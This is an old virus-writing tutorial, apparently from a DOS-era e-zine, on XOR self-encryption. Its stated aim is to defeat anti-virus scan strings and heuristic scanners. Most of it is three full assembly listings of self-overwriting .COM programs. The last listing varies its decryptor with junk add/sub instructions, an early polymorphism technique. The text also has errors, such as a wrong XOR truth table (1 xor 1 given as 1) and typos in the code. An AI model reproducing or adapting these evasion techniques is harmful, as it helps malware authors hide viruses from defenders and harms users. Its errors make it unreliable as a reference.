Encryption, part 1...
by
Lapidario
Definitions:
------------
Cryptography: From the Greek graphe----->to write
kryptos---->hidden
The art of writing with a secret code or "enigmatically".
What is "encryption"?
---------------------
Encryption (in our milieu) consists in coding or changing a perfectly legible
code into another that, at first glance, isn't legible.
Why we encrypt code.
--------------------
a)To make disassemblies of our code more difficult.
b)To screw with heuristic scanners.
c)So that each encryption is different, if possible, in order to keep anti-
virus product developers from coming up with a scan string for your virus
(this would require a combination of encryption and mutation).
d)To camouflage the code.
e)For whatever comes to mind.
General format of a program which uses encryption.
------------------------------------------------------
startprog: CALL desencripar
;******************************************************************
;Portion of the code we wish to encrypt.
mark: ...
...
endmark: ...
;******************************************************************
;decryption routine.
desencriptar proc
...
...
...
desencriptar endp
From the previous outline you can figure out the following:
a)The header (or -->call desencripta) will remain immutable no matter how
many times the code bounded by the labels "mark" and "endmark" is
encrypted in each reproduction.
b)The decryption routine will never itself be encrypted. Since this routine
is long, it's easy to come up with a scan string which can be used to
identify the virus.
c)From the preceding you can deduce that the decryption routine should be
made as short as possible, or better yet, different with each reproduction.
d)Is the encryption routine itself encrypted? --->Redundancy??
How to encrypt.
---------------
The virus must be encrypted just before it reproduces itself. Basic
encryption routines generally work by performing logical or arithmetic
operations on the code.
Using XOR.
----------
The instruction "XOR destination, source" performs an exclusive OR between
the "source" and "destination", leaving the result in "destination".
destination xor source destination
0 0 0
0 1 1
1 0 1
1 1 1
The fun thing about XOR is that if we perform the instruction twice with the
same value we obtain the original datum.
EXAMPLE.
-------- mov cl,55h
mov bl,0aah----------->register bl=AA in hex.
xor bl,cl ------------> bl xor cl ---->bl=FF in hex.
xor bl,cl-------------> bl xor cl ---->bl=AA in hex.
This is ideal for encryption since the encryption and decryption routines are
identical.
As an example we'll use a COM program that overwrites and encrypts itself
each time it's executed.
Step by step.
-------------
1) Unencrypted program.
;________________________cut here____________________________________
;compile it with the name "prueba1.com"
code segment
org 0100h
assume cs:code,ds:code
programa proc far
uno:
lea dx, saludo
mov ah,09h
int 21h ;write Minotauro
mov ax,3d02h ;open prueba1.com
lea dx,file ;read/write mode
int 21h ;return file handle in ax
mov (handle), ax
mov bx, (handle)
lea cx,dos ;calculate and store in CX the
lea ax,uno ;length in bytes of this program
sub cx,ax
lea dx,uno ;buffer starts at ds:uno
mov ax,4000h
int 21h ;this program overwrites itself
mov ax,3e00h ;close file prueba1.com
int 21h
mov ah,4ch ;return to DOS
int 21h
saludo db "Minotauro$"
file db "prueba1.com",0
handle dw 1 dup (?)
dos:
programa endp
code ends
end programa
;__________________________cut here_______________________________________
OK, if you executed the program (above) you will have noticed that it runs
fine. But suppose the above code belongs to a non-resident .COM infector.
In that case, it would be easy for an A/V to get a scan string since the code
remains the same each time it's executed. We can avoid that inconvenience by
encrypting the program using XOR.
2) Encrypting with XOR.
The steps to follow are listed below:
a)Decrypt with the existing key.
b)Execute the decrypted program.
c)Generate a new key
d)Encrypt and over-write.
e)Return control.
The encryption/decryption routine:
----------------------------------
nombre:encr
This routine performs the encryption/decryption functions, therefore it will
always be the only unencrypted part of the file. Basically, it will encrypt
the code located between "mark" and "endmark". It will perform an XOR with
a key stored in "xorkey", which is word type variable. I prefer to XOR with
a word instead of bytes since with the former we can have as many as 65535
variants versus only 255 using bytes (not exactly true based on the way
the key is generated).
Usually you'll do a XOR for the first time with the key equal to zero. Later
the program will generate a new key, using Int21 service 2c: read DOS's date
and time stamp. This new key is stored in xorkey and will be used at the
moment of encryption. Obviously, the variable xorkey is not encrypted.
ONE LAST THING.
---------------
Since we are trying to encrypt as much of the code as possible, the part
about copying and then returning control to DOS (or the host program, if we
are writing a virus) must be copied into memory at the end of the virus, else
it would remain unencrypted. This is the portion of the code located between
"l1" and "l2".
;___________________________cut____here____________________________________
;compile with the name prueba2.com
code segment
org 0100h
assume cs:code,ds:code
programa proc far
uno:
;****************************************************************************
;This part of the program is to find the delta offset to redirect through bp,
since if the virus is to be attached to the end of the .COM file, the
pointers would be mis-addressed.
CALL falso
falso proc
falso endp
pop bp
sub bp,0103h
;**************************************************************************
***
call encr_desc
mark:
start:
lea dx, saludo + bp
mov ah,09h
int 21h ;write Minotauro
; etc....etc....etc
;******************************************************************
;Move everything between l1 and l2 to the end of the code.
;This would be the part of the virus which handles reproduction and returns
;control to the host program
;We do this to try to encrypt as much of the code as possible.
cld
lea si, l1 + bp
lea di, dos + bp
lea cx, l2
lea ax, l1
sub cx,ax
sar cx, 1
inc cx
rep movsw
;*******************************************************************
call rand ;Obtains a random 16-bit number to use
;as the new key.
mov word ptr [xorkey+bp],dx
;********************************************************************
jmp dos
l1:
;Finds the offset where the encr_desc routine is located, then stores it
;in called so as to later call it by way of memory.
lea ax, rutina + bp
mov [called + bp], ax
mov ax,3d02h ;opens prueba1.com
lea dx,file+bp ;read/write mode
int 21h ;returns file handle in ax
mov [handle + bp], ax
mov bx, [handle + bp]
lea cx,dos+bp ;calculates and stores in cx
lea ax,uno+bp ;its length in bytes.
programa
sub cx,ax
lea dx,uno+bp ;buffer starts at ds:uno
push bx
push cx
push dx
call [called+bp] ;encrypt using the new key
pop dx
pop cx
pop bx
mov ax,4000h
int 21h ;the program is overwritten.
mov ax,3e00h ;close prueba1.com
int 21h
mov ah,4ch ;return to DOS
int 21h
l2:
;**********************************************************************
rand proc
;generates a random key by reading the clock (minutes and seconds), storing
;the result in dx.
mov ah,2ch
int 21h
ret
rand endp
;**********************************************************************
saludo db "Minotauro$"
file db "prueba2.com",0
handle dw 1 dup (?)
endmark: nop
nop
;The encryption ends at "endmark". Since we are working with a word and
;the calculation could make the last encryption word begin at the address of
;handle+1, we place a second nop so that the encryption key remains
;unencrypted (as it should be).
;We could have also placed endmark before handel and left out the nop's.
xorkey dw 1 dup (0) ;word where the key is stored.
called dw 1 dup (0)
;********************encryption/decryption routine************************
rutina:
;This label (rutina) is here since we call the encryption routine from
;memory.
encr_desc proc
lea bx, mark + bp
lea dx, endmark + bp
mov cx, dx
sub cx,bx
sar cx, 1
inc cx
mov dx, [xorkey + bp]
xorloop: xor [bx],dx ;bx word pointer to encrypt or decrypt
add bx,02 ;dx the key
loop xorloop
ret
encr_desc endp
;***************************************************************************
dos:
programa endp
code ends
end programa
;____________________________cut___here__________________________________
OK, you'll notice when you run your program that there are few parts of it
that remain constant. These parts are:
****************************************************************************
CALL falso
falso proc
falso endp
pop bp
sub bp,0103h
This part isn't going to cause us problems since it uses few bytes. Anyhow,
we can use a little trick we'll see later.
****************************************************************************
xorkey dw 1 dup (0) ;word where the key is stored.
called dw 1 dup (0)
Not a problem since xorkey is different after each execution.
****************************************************************************
encr_desc proc
lea bx, mark + bp
lea dx, endmark + bp
mov cx, dx
sub cx,bx
sar cx, 1
inc cx
mov dx,[xorkey + bp]
xorloop: xor [bx],dx ;bx pointer to the encrypt/decrypt word
add bx,02 ;dx key
loop xorloop
ret
encr_desc endp
This would be the most extensive unencrypted section of code, and thus its
weakest link. To avoid this, let's suppose that aaaa .... cccc are random
16-bit numbers generated the same as xorkey and we change our routine as
follows:
encr_desc proc
lea bx, mark + bp
antiscan:
add bx,aaaa------>agregado ;agregado = aggregate
sub bx,aaaa------>agregado
lea dx, endmark + bp
mov cx, dx
sub cx,bx
add cx,bbbb ------>agregado
sub cx,bbbb ------>agregado
sar cx, 1
inc cx
mov dx, [xorkey + bp]
xorloop: xor [bx],dx ;bx pointer of the word used to
; encrypt/decrypt
add bx,02 ;dx the key
add bx,cccc------>agregado
sub bx,cccc------>agregado
loop xorloop
ret
encr_desc endp
Note that when we ad and subtract the same quantity the contents of the
register don't change, but the generated code does. This ensures that the
code from which a string could be generated is of minimum length.
How do we do this? .... Simple, before reproducing (the virus) we calculate
aaaa.....cccc and place these numbers in the routine.
*****************************************************************************
Let's look at code which has been modified in this manner.
----------------------------------------------------------
;____________________________cut___here____________________________________
;compile using the name prueba3.com
code segment
org 0100h
assume cs:code,ds:code
programa proc far
uno:
call falso
falso proc
falso endp
pop bp
sub bp,0103h
call encr_desc
mark:
start:
lea dx, saludo + bp
mov ah,09h
int 21h ;write Minotauro
; etc....etc....etc
cld
lea si, l1 + bp
lea di, dos + bp
lea cx, l2
lea ax, l1
sub cx,ax
sar cx, 1
inc cx
rep movsw
call rand ;Obtain a random 16-bit number to use as
;the new key
mov word ptr [xorkey+bp],dx
;********************************************************************
;aggregate to vary the encryption routine........
lea di,antiscan+bp ;pointer in di
call rand ;find aaaa
mov [di+bp+2],dx ;place aaaa
mov [di+bp+6],dx ;place aaaa
call rand ;find bbbb
mov [di+bp+18],dx ;place bbbb
mov [di+bp+22],dx ;place bbbb
call rand ;find cccc
mov [di+bp+39],dx ;place cccc
mov [di+bp+43],dx ;place cccc
jmp dos
l1:
lea ax, rutina + bp
mov [called + bp], ax
mov ax,3d02h ;open file prueba1.com
lea dx,file+bp ;read/write mode
int 21h ;return file handle in ax
mov [handle + bp], ax
mov bx, [handle + bp]
lea cx,dos+bp ;calculate and store in cx it's
lea ax,uno+bp ;length in bytes.
programa
sub cx,ax
lea dx,uno+bp ;buffer starts at ds:uno
push bx
push cx
push dx
call [called+bp] ;encrypt with the new key.
pop dx
pop cx
pop bx
mov ax,4000h
int 21h ;program is over written
mov ax,3e00h ;close file prueba1.com
int 21h
mov ah,4ch ;return to DOS
int 21h
l2:
rand proc
mov ah,2ch
int 21h
ret
rand endp
saludo db "Minotauro$"
file db "prueba3.com",0
handle dw 1 dup (?)
endmark: nop
nop
xorkey dw 1 dup (0) ;word where the key is stored.
called dw 1 dup (0)
rutina:
encr_desc proc
lea bx,mark+bp
antiscan:
add bx,1111h
sub bx,1111h
lea dx, endmark + bp
mov cx, dx
sub cx,bx
add cx,2222h
sub cx,2222h
sar cx, 1
inc cx
mov dx, [xorkey + bp]
xorloop: xor [bx],dx ;bx pointer of the word to encrypt and
;decrypt
add bx,02 ;dx the key
add bx,3333h
sub bx,3333h
loop xorloop
ret
encr_desc enp
dos:
programa endp
code ends
end programa
;_______________________cut___here___________________________________
Now the encr_desc routine will change somewhat every time the virus
reproduces. Is this the "final solution"? No, even though we've made life
complicated for the A/Vs a scan string can still be found. Still, it'll take
them more time.. hehehehe! There has to be a reason why mutation was
developed, eh? ;)
I think the xor method of encryption has been explained enough.
As you can see the decryption routine doesn't have to be the same as the
encryption routine. It only has to undo the changes made by the encryption
routine. For example, we could add a number and encrypt, then decrypt
subtracting, or by rotating each byte "x" number of times to the right and
decrypt by rotating to the left. or a mixture of all these techniques.
Enjoy!
Bye:LAPIDARIO.